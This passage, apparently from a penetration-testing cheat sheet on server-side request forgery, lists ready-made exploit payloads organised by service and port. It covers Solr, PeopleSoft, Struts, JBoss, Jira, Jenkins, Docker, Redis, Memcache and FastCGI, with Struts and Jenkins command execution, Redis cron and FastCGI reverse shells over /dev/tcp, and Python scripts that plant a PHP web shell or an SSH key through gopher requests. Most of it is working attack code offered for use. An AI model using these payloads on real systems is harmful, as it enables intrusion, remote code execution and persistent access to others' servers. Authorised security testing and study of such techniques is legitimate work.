/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solr
```
**SSRF Canary: Solr XXE \(2017\)**
[Apache Solr 7.0.1 XXE \(Packetstorm\)](https://packetstormsecurity.com/files/144678/Apache-Solr-7.0.1-XXE-Injection-Code-Execution.html)
```text
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}
```
**RCE via dataImportHandler**
[Research on RCE via dataImportHandler](https://github.com/veracode-research/solr-injection#3-cve-2019-0193-remote-code-execution-via-dataimporthandler)
### PeopleSoft <a id="peoplesoft"></a>
**Commonly bound ports: 80,443 \(SSL\)**
Taken from this research [here](https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce).
**SSRF Canary: XXE \#1**
```text
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>
```
**SSRF Canary: XXE \#2**
```text
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">
```
### Apache Struts <a id="apache-struts"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)**
Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Struts2-016**:
Append this to the end of every internal endpoint/URL you know of:
```text
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}
```
### JBoss <a id="jboss"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)**
Taken from [here](https://blog.safebuff.com/2016/07/03/SSRF-Tips/).
**SSRF Canary: Deploy WAR from URL**
```text
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.war
```
### Confluence <a id="confluence"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)**
**SSRF Canary: Sharelinks \(Confluence versions released from 2016 November and older\)**
```text
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/
```
**SSRF Canary: iconUriServlet - Confluence &lt; 6.1.3 \(CVE-2017-9506\)**
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```text
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
### Jira <a id="jira"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)**
**SSRF Canary: iconUriServlet - Jira &lt; 7.3.5 \(CVE-2017-9506\)**
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```text
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
**SSRF Canary: makeRequest - Jira &lt; 8.4.0 \(CVE-2019-8451\)**
[Atlassian Security Ticket JRASERVER-69793](https://jira.atlassian.com/browse/JRASERVER-69793)
```text
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:443@example.com
```
### Other Atlassian Products <a id="other-atlassian-products"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)**
**SSRF Canary: iconUriServlet \(CVE-2017-9506\)**:
* Bamboo &lt; 6.0.0
* Bitbucket &lt; 4.14.4
* Crowd &lt; 2.11.2
* Crucible &lt; 4.3.2
* Fisheye &lt; 4.3.2
[Atlassian Security Ticket OAUTH-344](https://ecosystem.atlassian.net/browse/OAUTH-344)
```text
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARY
```
### OpenTSDB <a id="opentsdb"></a>
**Commonly bound port: 4242**
[OpenTSDB Remote Code Execution](https://packetstormsecurity.com/files/136753/OpenTSDB-Remote-Code-Execution.html)
**SSRF Canary: curl via RCE**
```text
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&png
```
### Jenkins <a id="jenkins"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8888**
Great writeup [here](https://blog.orange.tw/2019/01/hacking-jenkins-part-1-play-with-dynamic-routing.html).
**SSRF Canary: CVE-2018-1000600**
```text
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsai
```
**RCE**
Follow the instructions here to achieve RCE via GET: [Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!](https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html)
```text
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;
```
**RCE via Groovy**
```bash
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
```
### Hystrix Dashboard <a id="hystrix-dashboard"></a>
**Commonly bound ports: 80,443 \(SSL\),8080**
Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.
**SSRF Canary: CVE-2020-5412**
```text
/proxy.stream?origin=http://SSRF_CANARY/
```
### W3 Total Cache <a id="w3-total-cache"></a>
**Commonly bound ports: 80,443 \(SSL\)**
W3 Total Cache 0.9.2.6-0.9.3
**SSRF Canary: CVE-2019-6715**
This needs to be a PUT request:
```text
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host:
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}
```
**SSRF Canary**
The advisory for this vulnerability was released here: [W3 Total Cache SSRF vulnerability](https://klikki.fi/adv/w3_total_cache.html)
This PHP code will generate a payload for your SSRF Canary host \(replace `url` with your canary host\):
```php
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>
```
### Docker <a id="docker"></a>
**Commonly bound ports: 2375, 2376 \(SSL\)**
If you have a partially blind SSRF, you can use the following paths to verify the presence of Dockers API:
```text
/containers/json
/secrets
/services
```
**RCE via running an arbitrary docker image**
```text
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}
```
Replace alpine with an arbitrary image you would like the docker container to run.
### Gitlab Prometheus Redis Exporter <a id="gitlab-prometheus-redis-exporter"></a>
**Commonly bound ports: 9121**
This vulnerability affects Gitlab instances before version 13.1.1. According to the [Gitlab documentation](https://docs.gitlab.com/ee/administration/monitoring/prometheus/#configuring-prometheus) `Prometheus and its exporters are on by default, starting with GitLab 9.0.`
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
```text
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
```
**Possible via Gopher**
### Redis <a id="redis"></a>
**Commonly bound port: 6379**
Recommended reading:
* [Trying to hack Redis via HTTP requests](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html)
* [SSRF Exploits against Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
**RCE via Cron** - [Gopher Attack Surfaces](https://blog.chaitin.cn/gopher-attack-surfaces/)
```bash
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 save
```
Gopher:
```text
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
```
**RCE via Shell Upload \(PHP\)** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
```python
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE via authorized\_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)
```python
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
```
**RCE on GitLab via Git protocol**
Great writeup from Liveoverflow [here](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).
While this required authenticated access to GitLab to exploit, I am including the payload here as the `git` protocol may work on the target you are hacking. This payload is for reference.
```text
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git
```
### Memcache <a id="memcache"></a>
**Commonly bound port: 11211**
* [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)
* [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)
* [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)
```bash
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a
```
### Apache Tomcat <a id="apache-tomcat"></a>
**Commonly bound ports: 80,443 \(SSL\),8080,8443 \(SSL\)**
Effective against Tomcat 6 only:
[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)
CTF writeup using this technique:
[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)
### FastCGI <a id="fastcgi"></a>
**Commonly bound ports: 80,443 \(SSL\)**
This was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/).
```bash
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00
```
**Tools**
### Gopherus <a id="gopherus"></a>
* [Gopherus - Github](https://github.com/tarunkant/Gopherus)
* [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)
This tool generates Gopher payloads for:
* MySQL
* PostgreSQL
* FastCGI
* Redis
* Zabbix
* Memcache
### SSRF Proxy <a id="ssrf-proxy"></a>
* [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery \(SSRF\).
## References
* [https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4](https://medium.com/@pravinponnusamy/ssrf-payloads-f09b2a86a8b4)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)